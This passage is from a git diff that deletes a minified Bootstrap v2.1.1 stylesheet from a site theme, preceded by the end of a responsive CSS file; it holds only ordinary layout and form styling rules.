.span5{width:40.17094017094017%;*width:40.11774868157847%;} .row-fluid .span4{width:31.623931623931625%;*width:31.570740134569924%;} .row-fluid .span3{width:23.076923076923077%;*width:23.023731587561375%;} .row-fluid .span2{width:14.52991452991453%;*width:14.476723040552828%;} .row-fluid .span1{width:5.982905982905983%;*width:5.929714493544281%;} .row-fluid .offset12{margin-left:105.12820512820512%;*margin-left:105.02182214948171%;} .row-fluid .offset12:first-child{margin-left:102.56410256410257%;*margin-left:102.45771958537915%;} .row-fluid .offset11{margin-left:96.58119658119658%;*margin-left:96.47481360247316%;} .row-fluid .offset11:first-child{margin-left:94.01709401709402%;*margin-left:93.91071103837061%;} .row-fluid .offset10{margin-left:88.03418803418803%;*margin-left:87.92780505546462%;} .row-fluid .offset10:first-child{margin-left:85.47008547008548%;*margin-left:85.36370249136206%;} .row-fluid .offset9{margin-left:79.48717948717949%;*margin-left:79.38079650845607%;} .row-fluid .offset9:first-child{margin-left:76.92307692307693%;*margin-left:76.81669394435352%;} .row-fluid .offset8{margin-left:70.94017094017094%;*margin-left:70.83378796144753%;} .row-fluid .offset8:first-child{margin-left:68.37606837606839%;*margin-left:68.26968539734497%;} .row-fluid .offset7{margin-left:62.393162393162385%;*margin-left:62.28677941443899%;} .row-fluid .offset7:first-child{margin-left:59.82905982905982%;*margin-left:59.72267685033642%;} .row-fluid .offset6{margin-left:53.84615384615384%;*margin-left:53.739770867430444%;} .row-fluid .offset6:first-child{margin-left:51.28205128205128%;*margin-left:51.175668303327875%;} .row-fluid .offset5{margin-left:45.299145299145295%;*margin-left:45.1927623204219%;} .row-fluid .offset5:first-child{margin-left:42.73504273504273%;*margin-left:42.62865975631933%;} .row-fluid .offset4{margin-left:36.75213675213675%;*margin-left:36.645753773413354%;} .row-fluid .offset4:first-child{margin-left:34.18803418803419%;*margin-left:34.081651209310785%;} .row-fluid .offset3{margin-left:28.205128205128204%;*margin-left:28.0987452264048%;} .row-fluid .offset3:first-child{margin-left:25.641025641025642%;*margin-left:25.53464266230224%;} .row-fluid .offset2{margin-left:19.65811965811966%;*margin-left:19.551736679396257%;} .row-fluid .offset2:first-child{margin-left:17.094017094017094%;*margin-left:16.98763411529369%;} .row-fluid .offset1{margin-left:11.11111111111111%;*margin-left:11.004728132387708%;} .row-fluid .offset1:first-child{margin-left:8.547008547008547%;*margin-left:8.440625568285142%;} input,textarea,.uneditable-input{margin-left:0;} .controls-row [class*="span"]+[class*="span"]{margin-left:30px;} input.span12, textarea.span12, .uneditable-input.span12{width:1156px;} input.span11, textarea.span11, .uneditable-input.span11{width:1056px;} input.span10, textarea.span10, .uneditable-input.span10{width:956px;} input.span9, textarea.span9, .uneditable-input.span9{width:856px;} input.span8, textarea.span8, .uneditable-input.span8{width:756px;} input.span7, textarea.span7, .uneditable-input.span7{width:656px;} input.span6, textarea.span6, .uneditable-input.span6{width:556px;} input.span5, textarea.span5, .uneditable-input.span5{width:456px;} input.span4, textarea.span4, .uneditable-input.span4{width:356px;} input.span3, textarea.span3, .uneditable-input.span3{width:256px;} input.span2, textarea.span2, .uneditable-input.span2{width:156px;} input.span1, textarea.span1, .uneditable-input.span1{width:56px;} .thumbnails{margin-left:-30px;} .thumbnails>li{margin-left:30px;} .row-fluid .thumbnails{margin-left:0;}}@media (max-width:979px){body{padding-top:0;} .navbar-fixed-top,.navbar-fixed-bottom{position:static;} .navbar-fixed-top{margin-bottom:20px;} .navbar-fixed-bottom{margin-top:20px;} .navbar-fixed-top .navbar-inner,.navbar-fixed-bottom .navbar-inner{padding:5px;} .navbar .container{width:auto;padding:0;} .navbar .brand{padding-left:10px;padding-right:10px;margin:0 0 0 -5px;} .nav-collapse{clear:both;} .nav-collapse .nav{float:none;margin:0 0 10px;} .nav-collapse .nav>li{float:none;} .nav-collapse .nav>li>a{margin-bottom:2px;} .nav-collapse .nav>.divider-vertical{display:none;} .nav-collapse .nav .nav-header{color:#777777;text-shadow:none;} .nav-collapse .nav>li>a,.nav-collapse .dropdown-menu a{padding:9px 15px;font-weight:bold;color:#777777;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;} .nav-collapse .btn{padding:4px 10px 4px;font-weight:normal;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;} .nav-collapse .dropdown-menu li+li a{margin-bottom:2px;} .nav-collapse .nav>li>a:hover,.nav-collapse .dropdown-menu a:hover{background-color:#f2f2f2;} .navbar-inverse .nav-collapse .nav>li>a,.navbar-inverse .nav-collapse .dropdown-menu a{color:#999999;} .navbar-inverse .nav-collapse .nav>li>a:hover,.navbar-inverse .nav-collapse .dropdown-menu a:hover{background-color:#111111;} .nav-collapse.in .btn-group{margin-top:5px;padding:0;} .nav-collapse .dropdown-menu{position:static;top:auto;left:auto;float:none;display:none;max-width:none;margin:0 15px;padding:0;background-color:transparent;border:none;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;} .nav-collapse .open>.dropdown-menu{display:block;} .nav-collapse .dropdown-menu:before,.nav-collapse .dropdown-menu:after{display:none;} .nav-collapse .dropdown-menu .divider{display:none;} .nav-collapse .nav>li>.dropdown-menu:before,.nav-collapse .nav>li>.dropdown-menu:after{display:none;} .nav-collapse .navbar-form,.nav-collapse .navbar-search{float:none;padding:10px 15px;margin:10px 0;border-top:1px solid #f2f2f2;border-bottom:1px solid #f2f2f2;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.1), 0 1px 0 rgba(255,255,255,.1);-moz-box-shadow:inset 0 1px 0 rgba(255,255,255,.1), 0 1px 0 rgba(255,255,255,.1);box-shadow:inset 0 1px 0 rgba(255,255,255,.1), 0 1px 0 rgba(255,255,255,.1);} .navbar-inverse .nav-collapse .navbar-form,.navbar-inverse .nav-collapse .navbar-search{border-top-color:#111111;border-bottom-color:#111111;} .navbar .nav-collapse .nav.pull-right{float:none;margin-left:0;} .nav-collapse,.nav-collapse.collapse{overflow:hidden;height:0;} .navbar .btn-navbar{display:block;} .navbar-static .navbar-inner{padding-left:10px;padding-right:10px;}}@media (min-width:980px){.nav-collapse.collapse{height:auto !important;overflow:visible !important;}} diff --git a/assets/themes/twitter/bootstrap/css/bootstrap.min.css b/assets/themes/twitter/bootstrap/css/bootstrap.min.css deleted file mode 100644 index 31d8b96..0000000 --- a/assets/themes/twitter/bootstrap/css/bootstrap.min.css +++ /dev/null @@ -1,9 +0,0 @@ -/*! - * Bootstrap v2.1.1 - * - * Copyright 2012 Twitter, Inc - * Licensed under the Apache License v2.0 - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Designed and built with all the love in the world @twitter by @mdo and @fat. - */article,aside,details,figcaption,figure,footer,header,hgroup,nav,section{display:block}audio,canvas,video{display:inline-block;*display:inline;*zoom:1}audio:not([controls]){display:none}html{font-size:100%;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}a:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}a:hover,a:active{outline:0}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sup{top:-0.5em}sub{bottom:-0.25em}img{width:auto\9;height:auto;max-width:100%;vertical-align:middle;border:0;-ms-interpolation-mode:bicubic}#map_canvas img{max-width:none}button,input,select,textarea{margin:0;font-size:100%;vertical-align:middle}button,input{*overflow:visible;line-height:normal}button::-moz-focus-inner,input::-moz-focus-inner{padding:0;border:0}button,input[type="button"],input[type="reset"],input[type="submit"]{cursor:pointer;-webkit-appearance:button}input[type="search"]{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;-webkit-appearance:textfield}input[type="search"]::-webkit-search-decoration,input[type="search"]::-webkit-search-cancel-button{-webkit-appearance:none}textarea{overflow:auto;vertical-align:top}.clearfix{*zoom:1}.clearfix:before,.clearfix:after{display:table;line-height:0;content:""}.clearfix:after{clear:both}.hide-text{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.input-block-level{display:block;width:100%;min-height:30px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}body{margin:0;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;line-height:20px;color:#333;background-color:#fff}a{color:#08c;text-decoration:none}a:hover{color:#005580;text-decoration:underline}.img-rounded{-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px}.img-polaroid{padding:4px;background-color:#fff;border:1px solid #ccc;border:1px solid rgba(0,0,0,0.2);-webkit-box-shadow:0 1px 3px rgba(0,0,0,0.1);-moz-box-shadow:0 1px 3px rgba(0,0,0,0.1);box-shadow:0 1px 3px rgba(0,0,0,0.1)}.img-circle{-webkit-border-radius:500px;-moz-border-radius:500px;border-radius:500px}.row{margin-left:-20px;*zoom:1}.row:before,.row:after{display:table;line-height:0;content:""}.row:after{clear:both}[class*="span"]{float:left;min-height:1px;margin-left:20px}.container,.navbar-static-top .container,.navbar-fixed-top .container,.navbar-fixed-bottom .container{width:940px}.span12{width:940px}.span11{width:860px}.span10{width:780px}.span9{width:700px}.span8{width:620px}.span7{width:540px}.span6{width:460px}.span5{width:380px}.span4{width:300px}.span3{width:220px}.span2{width:140px}.span1{width:60px}.offset12{margin-left:980px}.offset11{margin-left:900px}.offset10{margin-left:820px}.offset9{margin-left:740px}.offset8{margin-left:660px}.offset7{margin-left:580px}.offset6{margin-left:500px}.offset5{margin-left:420px}.offset4{margin-left:340px}.offset3{margin-left:260px}.offset2{margin-left:180px}.offset1{margin-left:100px}.row-fluid{width:100%;*zoom:1}.row-fluid:before,.row-fluid:after{display:table;line-height:0;content:""}.row-fluid:after{clear:both}.row-fluid [class*="span"]{display:block;float:left;width:100%;min-height:30px;margin-left:2.127659574468085%;*margin-left:2.074468085106383%;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.row-fluid [class*="span"]:first-child{margin-left:0}.row-fluid .span12{width:100%;*width:99.94680851063829%}.row-fluid .span11{width:91.48936170212765%;*width:91.43617021276594%}.row-fluid .span10{width:82.97872340425532%;*width:82.92553191489361%}.row-fluid .span9{width:74.46808510638297%;*width:74.41489361702126%}.row-fluid .span8{width:65.95744680851064%;*width:65.90425531914893%}.row-fluid .span7{width:57.44680851063829%;*width:57.39361702127659%}.row-fluid .span6{width:48.93617021276595%;*width:48.88297872340425%}.row-fluid .span5{width:40.42553191489362%;*width:40.37234042553192%}.row-fluid .span4{width:31.914893617021278%;*width:31.861702127659576%}.row-fluid .span3{width:23.404255319148934%;*width:23.351063829787233%}.row-fluid .span2{width:14.893617021276595%;*width:14.840425531914894%}.row-fluid .span1{width:6.382978723404255%;*width:6.329787234042553%}.row-fluid .offset12{margin-left:104.25531914893617%;*margin-left:104.14893617021275%}.row-fluid .offset12:first-child{margin-left:102.12765957446808%;*margin-left:102.02127659574467%}.row-fluid .offset11{margin-left:95.74468085106382%;*margin-left:95.6382978723404%}.row-fluid .offset11:first-child{margin-left:93.61702127659574%;*margin-left:93.51063829787232%}.row-fluid .offset10{margin-left:87.23404255319149%;*margin-left:87.12765957446807%}.row-fluid .offset10:first-child{margin-left:85.1063829787234%;*margin-left:84.99999999999999%}.row-fluid .offset9{margin-left:78.72340425531914%;*margin-left:78.61702127659572%}.row-fluid .offset9:first-child{margin-left:76.59574468085106%;*margin-left:76.48936170212764%}.row-fluid .offset8{margin-left:70.2127659574468%;*margin-left:70.10638297872339%}.row-fluid .offset8:first-child{margin-left:68.08510638297872%;*margin-left:67.9787234042553%}.row-fluid .offset7{margin-left:61.70212765957446%;*margin-left:61.59574468085106%}.row-fluid .offset7:first-child{margin-left:59.574468085106375%;*margin-left:59.46808510638297%}.row-fluid .offset6{margin-left:53.191489361702125%;*margin-left:53.085106382978715%}.row-fluid .offset6:first-child{margin-left:51.063829787234035%;*margin-left:50.95744680851063%}.row-fluid .offset5{margin-left:44.68085106382979%;*margin-left:44.57446808510638%}.row-fluid .offset5:first-child{margin-left:42.5531914893617%;*margin-left:42.4468085106383%}.row-fluid .offset4{margin-left:36.170212765957444%;*margin-left:36.06382978723405%}.row-fluid .offset4:first-child{margin-left:34.04255319148936%;*margin-left:33.93617021276596%}.row-fluid .offset3{margin-left:27.659574468085104%;*margin-left:27.5531914893617%}.row-fluid .offset3:first-child{margin-left:25.53191489361702%;*margin-left:25.425531914893618%}.row-fluid .offset2{margin-left:19.148936170212764%;*margin-left:19.04255319148936%}.row-fluid .offset2:first-child{margin-left:17.02127659574468%;*margin-left:16.914893617021278%}.row-fluid .offset1{margin-left:10.638297872340425%;*margin-left:10.53191489361702%}.row-fluid .offset1:first-child{margin-left:8.51063829787234%;*margin-left:8.404255319148938%}[class*="span"].hide,.row-fluid [class*="span"].hide{display:none}[class*="span"].pull-right,.row-fluid [class*="span"].pull-right{float:right}.container{margin-right:auto;margin-left:auto;*zoom:1}.container:before,.container:after{display:table;line-height:0;content:""}.container:after{clear:both}.container-fluid{padding-right:20px;padding-left:20px;*zoom:1}.container-fluid:before,.container-fluid:after{display:table;line-height:0;content:""}.container-fluid:after{clear:both}p{margin:0 0 10px}.lead{margin-bottom:20px;font-size:21px;font-weight:200;line-height:30px}small{font-size:85%}strong{font-weight:bold}em{font-style:italic}cite{font-style:normal}.muted{color:#999}.text-warning{color:#c09853}.text-error{color:#b94a48}.text-info{color:#3a87ad}.text-success{color:#468847}h1,h2,h3,h4,h5,h6{margin:10px 0;font-family:inherit;font-weight:bold;line-height:1;color:inherit;text-rendering:optimizelegibility}h1 small,h2 small,h3 small,h4 small,h5 small,h6 small{font-weight:normal;line-height:1;color:#999}h1{font-size:36px;line-height:40px}h2{font-size:30px;line-height:40px}h3{font-size:24px;line-height:40px}h4{font-size:18px;line-height:20px}h5{font-size:14px;line-height:20px}h6{font-size:12px;line-height:20px}h1 small{font-size:24px}h2 small{font-size:18px}h3 small{font-size:14px}h4 small{font-size:14px}.page-header{padding-bottom:9px;margin:20px 0 30px;border-bottom:1px solid #eee}ul,ol{padding:0;margin:0 0 10px 25px}ul ul,ul ol,ol ol,ol ul{margin-bottom:0}li{line-height:20px}ul.unstyled,ol.unstyled{margin-left:0;list-style:none}dl{margin-bottom:20px}dt,dd{line-height:20px}dt{font-weight:bold}dd{margin-left:10px}.dl-horizontal{*zoom:1}.dl-horizontal:before,.dl-horizontal:after{display:table;line-height:0;content:""}.dl-horizontal:after{clear:both}.dl-horizontal dt{float:left;width:160px;overflow:hidden;clear:left;text-align:right;text-overflow:ellipsis;white-space:nowrap}.dl-horizontal dd{margin-left:180px}hr{margin:20px 0;border:0;border-top:1px solid #eee;border-bottom:1px solid #fff}abbr[title]{cursor:help;border-bottom:1px dotted #999}abbr.initialism{font-size:90%;text-transform:uppercase}blockquote{padding:0 0 0 15px;margin:0 0 20px;border-left:5px solid #eee}blockquote p{margin-bottom:0;font-size:16px;font-weight:300;line-height:25px}blockquote small{display:block;line-height:20px;color:#999}blockquote small:before{content:'\2014 \00A0'}blockquote.pull-right{float:right;padding-right:15px;padding-left:0;border-right:5px solid #eee;border-left:0}blockquote.pull-right p,blockquote.pull-right small{text-align:right}blockquote.pull-right small:before{content:''}blockquote.pull-right small:after{content:'\00A0 \2014'}q:before,q:after,blockquote:before,blockquote:after{content:""}address{display:block;margin-bottom:20px;font-style:normal;line-height:20px}code,pre{padding:0 3px 2px;font-family:Monaco,Menlo,Consolas,"Courier New",monospace;font-size:12px;color:#333;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}code{padding:2px 4px;color:#d14;background-color:#f7f7f9;border:1px solid #e1e1e8}pre{display:block;padding:9.5px;margin:0 0 10px;font-size:13px;line-height:20px;word-break:break-all;word-wrap:break-word;white-space:pre;white-space:pre-wrap;background-color:#f5f5f5;border:1px solid #ccc;border:1px solid rgba(0,0,0,0.15);-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}pre.prettyprint{margin-bottom:20px}pre code{padding:0;color:inherit;background-color:transparent;border:0}.pre-scrollable{max-height:340px;overflow-y:scroll}form{margin:0 0 20px}fieldset{padding:0;margin:0;border:0}legend{display:block;width:100%;padding:0;margin-bottom:20px;font-size:21px;line-height:40px;color:#333;border:0;border-bottom:1px solid #e5e5e5}legend small{font-size:15px;color:#999}label,input,button,select,textarea{font-size:14px;font-weight:normal;line-height:20px}input,button,select,textarea{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif}label{display:block;margin-bottom:5px}select,textarea,input[type="text"],input[type="password"],input[type="datetime"],input[type="datetime-local"],input[type="date"],input[type="month"],input[type="time"],input[type="week"],input[type="number"],input[type="email"],input[type="url"],input[type="search"],input[type="tel"],input[type="color"],.uneditable-input{display:inline-block;height:20px;padding:4px 6px;margin-bottom:9px;font-size:14px;line-height:20px;color:#555;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}input,textarea,.uneditable-input{width:206px}textarea{height:auto}textarea,input[type="text"],input[type="password"],input[type="datetime"],input[type="datetime-local"],input[type="date"],input[type="month"],input[type="time"],input[type="week"],input[type="number"],input[type="email"],input[type="url"],input[type="search"],input[type="tel"],input[type="color"],.uneditable-input{background-color:#fff;border:1px solid #ccc;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-webkit-transition:border linear .2s,box-shadow linear .2s;-moz-transition:border linear .2s,box-shadow linear .2s;-o-transition:border linear .2s,box-shadow linear .2s;transition:border linear .2s,box-shadow linear .2s}textarea:focus,input[type="text"]:focus,input[type="password"]:focus,input[type="datetime"]:focus,input[type="datetime-local"]:focus,input[type="date"]:focus,input[type="month"]:focus,input[type="time"]:focus,input[type="week"]:focus,input[type="number"]:focus,input[type="email"]:focus,input[type="url"]:focus,input[type="search"]:focus,input[type="tel"]:focus,input[type="color"]:focus,.uneditable-input:focus{border-color:rgba(82,168,236,0.8);outline:0;outline:thin dotted \9;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6)}input[type="radio"],input[type="checkbox"]{margin:4px 0 0;margin-top:1px \9;*margin-top:0;line-height:normal;cursor:pointer}input[type="file"],input[type="image"],input[type="submit"],input[type="reset"],input[type="button"],input[type="radio"],input[type="checkbox"]{width:auto}select,input[type="file"]{height:30px;*margin-top:4px;line-height:30px}select{width:220px;background-color:#fff;border:1px solid #ccc}select[multiple],select[size]{height:auto}select:focus,input[type="file"]:focus,input[type="radio"]:focus,input[type="checkbox"]:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.uneditable-input,.uneditable-textarea{color:#999;cursor:not-allowed;background-color:#fcfcfc;border-color:#ccc;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.025);-moz-box-shadow:inset 0 1px 2px rgba(0,0,0,0.025);box-shadow:inset 0 1px 2px rgba(0,0,0,0.025)}.uneditable-input{overflow:hidden;white-space:nowrap}.uneditable-textarea{width:auto;height:auto}input:-moz-placeholder,textarea:-moz-placeholder{color:#999}input:-ms-input-placeholder,textarea:-ms-input-placeholder{color:#999}input::-webkit-input-placeholder,textarea::-webkit-input-placeholder{color:#999}.radio,.checkbox{min-height:18px;padding-left:18px}.radio input[type="radio"],.checkbox input[type="checkbox"]{float:left;margin-left:-18px}.controls>.radio:first-child,.controls>.checkbox:first-child{padding-top:5px}.radio.inline,.checkbox.inline{display:inline-block;padding-top:5px;margin-bottom:0;vertical-align:middle}.radio.inline+.radio.inline,.checkbox.inline+.checkbox.inline{margin-left:10px}.input-mini{width:60px}.input-small{width:90px}.input-medium{width:150px}.input-large{width:210px}.input-xlarge{width:270px}.input-xxlarge{width:530px}input[class*="span"],select[class*="span"],textarea[class*="span"],.uneditable-input[class*="span"],.row-fluid input[class*="span"],.row-fluid select[class*="span"],.row-fluid textarea[class*="span"],.row-fluid .uneditable-input[class*="span"]{float:none;margin-left:0}.input-append input[class*="span"],.input-append .uneditable-input[class*="span"],.input-prepend input[class*="span"],.input-prepend .uneditable-input[class*="span"],.row-fluid input[class*="span"],.row-fluid select[class*="span"],.row-fluid textarea[class*="span"],.row-fluid .uneditable-input[class*="span"],.row-fluid .input-prepend [class*="span"],.row-fluid .input-append [class*="span"]{display:inline-block}input,textarea,.uneditable-input{margin-left:0}.controls-row [class*="span"]+[class*="span"]{margin-left:20px}input.span12,textarea.span12,.uneditable-input.span12{width:926px}input.span11,textarea.span11,.uneditable-input.span11{width:846px}input.span10,textarea.span10,.uneditable-input.span10{width:766px}input.span9,textarea.span9,.uneditable-input.span9{width:686px}input.span8,textarea.span8,.uneditable-input.span8{width:606px}input.span7,textarea.span7,.uneditable-input.span7{width:526px}input.span6,textarea.span6,.uneditable-input.span6{width:446px}input.span5,textarea.span5,.uneditable-input.span5{width:366px}input.span4,textarea.span4,.uneditable-input.span4{width:286px}input.span3,textarea.span3,.uneditable-input.span3{width:206px}input.span2,textarea.span2,.uneditable-input.span2{width:126px}input.span1,textarea.span1,.uneditable-input.span1{width:46px}.controls-row{*zoom:1}.controls-row:before,.controls-row:after{display:table;line-height:0;content:""}.controls-row:after{clear:both}.controls-row [class*="span"]{float:left}input[disabled],select[disabled],textarea[disabled],input[readonly],select[readonly],textarea[readonly]{cursor:not-allowed;background-color:#eee}input[type="radio"][disabled],input[type="checkbox"][disabled],input[type="radio"][readonly],input[type="checkbox"][readonly]{background-color:transparent}.control-group.warning>label,.control-group.warning .help-block,.control-group.warning .help-inline{color:#c09853}.control-group.warning .checkbox,.control-group.warning .radio,.control-group.warning input,.control-group.warning select,.control-group.warning textarea{color:#c09853}.control-group.warning input,.control-group.warning select,.control-group.warning textarea{border-color:#c09853;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.control-group.warning input:focus,.control-group.warning select:focus,.control-group.warning textarea:focus{border-color:#a47e3c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #dbc59e;-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #dbc59e;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #dbc59e}.control-group.warning .input-prepend .add-on,.control-group.warning .input-append .add-on{color:#c09853;background-color:#fcf8e3;border-color:#c09853}.control-group.error>label,.control-group.error .help-block,.control-group.error .help-inline{color:#b94a48}.control-group.error .checkbox,.control-group.error .radio,.control-group.error input,.control-group.error select,.control-group.error textarea{color:#b94a48}.control-group.error input,.control-group.error select,.control-group.error textarea{border-color:#b94a48;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.control-group.error input:focus,.control-group.error select:focus,.control-group.error textarea:focus{border-color:#953b39;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #d59392;-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #d59392;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #d59392}.control-group.error .input-prepend .add-on,.control-group.error .input-append .add-on{color:#b94a48;background-color:#f2dede;border-color:#b94a48}.control-group.success>label,.control-group.success .help-block,.control-group.success .help-inline{color:#468847}.control-group.success .checkbox,.control-group.success .radio,.control-group.success input,.control-group.success select,.control-group.success textarea{color:#468847}.control-group.success input,.control-group.success select,.control-group.success textarea{border-color:#468847;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.control-group.success input:focus,.control-group.success select:focus,.control-group.success textarea:focus{border-color:#356635;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #7aba7b;-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #7aba7b;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #7aba7b}.control-group.success .input-prepend .add-on,.control-group.success .input-append .add-on{color:#468847;background-color:#dff0d8;border-color:#468847}.control-group.info>label,.control-group.info .help-block,.control-group.info .help-inline{color:#3a87ad}.control-group.info .checkbox,.control-group.info .radio,.control-group.info input,.control-group.info select,.control-group.info textarea{color:#3a87ad}.control-group.info input,.control-group.info select,.control-group.info textarea{border-color:#3a87ad;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.control-group.info input:focus,.control-group.info select:focus,.control-group.info textarea:focus{border-color:#2d6987;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #7ab5d3;-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #7ab5d3;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #7ab5d3}.control-group.info .input-prepend .add-on,.control-group.info .input-append .add-on{color:#3a87ad;background-color:#d9edf7;border-color:#3a87ad}input:focus:required:invalid,textarea:focus:required:invalid,select:focus:required:invalid{color:#b94a48;border-color:#ee5f5b}input:focus:required:invalid:focus,textarea:focus:required:invalid:focus,select:focus:required:invalid:focus{border-color:#e9322d;-webkit-box-shadow:0 0 6px #f8b9b7;-moz-box-shadow:0 0 6px #f8b9b7;box-shadow:0 0 6px #f8b9b7}.form-actions{padding:19px 20px 20px;margin-top:20px;margin-bottom:20px;background-color:#f5f5f5;border-top:1px solid #e5e5e5;*zoom:1}.form-actions:before,.form-actions:after{display:table;line-height:0;content:""}.form-actions:after{clear:both}.help-block,.help-inline{color:#595959}.help-block{display:block;margin-bottom:10px}.help-inline{display:inline-block;*display:inline;padding-left:5px;vertical-align:middle;*zoom:1}.input-append,.input-prepend{margin-bottom:5px;font-size:0;white-space:nowrap}.input-append input,.input-prepend input,.input-append select,.input-prepend select,.input-append .uneditable-input,.input-prepend .uneditable-input{position:relative;margin-bottom:0;*margin-left:0;font-size:14px;vertical-align:top;-webkit-border-radius:0 3px 3px 0;-moz-border-radius:0 3px 3px 0;border-radius:0 3px 3px 0}.input-append input:focus,.input-prepend input:focus,.input-append select:focus,.input-prepend select:focus,.input-append .uneditable-input:focus,.input-prepend .uneditable-input:focus{z-index:2}.input-append .add-on,.input-prepend .add-on{display:inline-block;width:auto;height:20px;min-width:16px;padding:4px 5px;font-size:14px;font-weight:normal;line-height:20px;text-align:center;text-shadow:0 1px 0 #fff;background-color:#eee;border:1px solid #ccc}.input-append .add-on,.input-prepend .add-on,.input-append .btn,.input-prepend .btn{vertical-align:top;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.input-append .active,.input-prepend .active{background-color:#a9dba9;border-color:#46a546}.input-prepend .add-on,.input-prepend .btn{margin-right:-1px}.input-prepend .add-on:first-child,.input-prepend .btn:first-child{-webkit-border-radius:3px 0 0 3px;-moz-border-radius:3px 0 0 3px;border-radius:3px 0 0 3px}.input-append input,.input-append select,.input-append .uneditable-input{-webkit-border-radius:3px 0 0 3px;-moz-border-radius:3px 0 0 3px;border-radius:3px 0 0 3px}.input-append .add-on,.input-append .btn{margin-left:-1px}.input-append .add-on:last-child,.input-append .btn:last-child{-webkit-border-radius:0 3px 3px 0;-moz-border-radius:0 3px 3px 0;border-radius:0 3px 3px 0}.input-prepend.input-append input,.input-prepend.input-append select,.input-prepend.input-append .uneditable-input{-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.input-prepend.input-append .add-on:first-child,.input-prepend.input-append .btn:first-child{margin-right:-1px;-webkit-border-radius:3px 0 0 3px;-moz-border-radius:3px 0 0 3px;border-radius:3px 0 0 3px}.input-prepend.input-append .add-on:last-child,.input-prepend.input-append .btn:last-child{margin-left:-1px;-webkit-border-radius:0 3px 3px 0;-moz-border-radius:0 3px 3px 0;border-radius:0 3px 3px 0}input.search-query{padding-right:14px;padding-right:4px \9;padding-left:14px;padding-left:4px \9;margin-bottom:0;-webkit-border-radius:15px;-moz-border-radius:15px;border-radius:15px}.form-search .input-append .search-query,.form-search .input-prepend .search-query{-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.form-search .input-append .search-query{-webkit-border-radius:14px 0 0 14px;-moz-border-radius:14px 0 0 14px;border-radius:14px 0 0 14px}.form-search .input-append .btn{-webkit-border-radius:0 14px 14px 0;-moz-border-radius:0 14px 14px 0;border-radius:0 14px 14px 0}.form-search .input-prepend .search-query{-webkit-border-radius:0 14px 14px 0;-moz-border-radius:0 14px 14px 0;border-radius:0 14px 14px 0}.form-search .input-prepend .btn{-webkit-border-radius:14px 0 0 14px;-moz-border-radius:14px 0 0 14px;border-radius:14px 0 0 14px}.form-search input,.form-inline input,.form-horizontal input,.form-search textarea,.form-inline textarea,.form-horizontal textarea,.form-search select,.form-inline select,.form-horizontal select,.form-search .help-inline,.form-inline .help-inline,.form-horizontal .help-inline,.form-search .uneditable-input,.form-inline .uneditable-input,.form-horizontal .uneditable-input,.form-search .input-prepend,.form-inline .input-prepend,.form-horizontal .input-prepend,.form-search .input-append,.form-inline .input-append,.form-horizontal .input-append{display:inline-block;*display:inline;margin-bottom:0;vertical-align:middle;*zoom:1}.form-search .hide,.form-inline .hide,.form-horizontal .hide{display:none}.form-search label,.form-inline label,.form-search .btn-group,.form-inline .btn-group{display:inline-block}.form-search .input-append,.form-inline .input-append,.form-search 